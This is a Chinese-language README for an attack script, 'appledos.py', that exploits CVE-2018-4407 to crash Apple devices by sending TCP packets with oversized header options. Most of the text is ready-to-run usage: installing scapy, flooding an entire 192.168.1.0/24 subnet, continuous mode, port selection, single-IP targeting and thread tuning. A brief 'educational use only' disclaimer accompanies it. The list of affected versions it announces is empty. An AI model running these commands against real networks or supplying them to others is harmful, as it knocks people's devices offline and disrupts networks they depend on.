基于 CVE-2018-4407(https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407)、这条[推文](https://twitter.com/ihackbanme/status/1057811965945376768)以及这个[视频](https://twitter.com/kevin_backhouse/status/1057352656560287746)。该漏洞是操作系统尝试将包含坏数据包片段(segments)的 ICMP 消息发送回发送方时,在坏数据包处理过程中产生的堆溢出漏洞。

此 POC 通过发送包含超长 TCP/IP 头部选项的恶意 TCP 数据包,使存在漏洞的 Apple 设备在尝试发送错误消息时溢出 ICMP 消息,从而导致设备崩溃。你需要具备直接向设备发送网络数据包的能力(例如在同一本地网络中)。
以下操作系统版本和设备受影响:
仅供教育用途。请勿将此脚本用于非法活动。作者不对任何误用或损害负责。
确保你已安装 Python 3 和 scapy。
pip install scapy
# 或
pip3 install scapy
你可能需要以 root 身份运行该脚本。
向 192.168.1.0/24 子网发送恶意数据包。
sudo ./appledos.py 192.168.1.0/24
发送数据包后显示 IP。
sudo ./appledos.py --verbose 192.168.1.0/24
持续向 192.168.1.0/24 子网发送恶意数据包。
sudo ./appledos.py --continuous 192.168.1.0/24
更改目标端口(默认:80)。你可以更改为任意端口,因为设备会对任何端口的任何传入数据包作出响应,但你可能需要考虑主机或网络中的端口屏蔽或防火墙问题。
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
仅向单个 IP 发送恶意数据包。
sudo ./appledos.py 192.168.1.118
设置最大工作线程数(默认:100)。
sudo ./appledos.py --worker 10 192.168.1.0/24
此脚本使用 scapy,它在多线程发送数据包时处理 /dev/bpf(Berkeley Packet Filter)存在已知问题(例如在 macOS 上)。如果遇到 No /dev/bpf handle is available,请尝试将工作线程数减少到 1 或 2。或者,你也可以像演示视频中那样直接使用 Linux。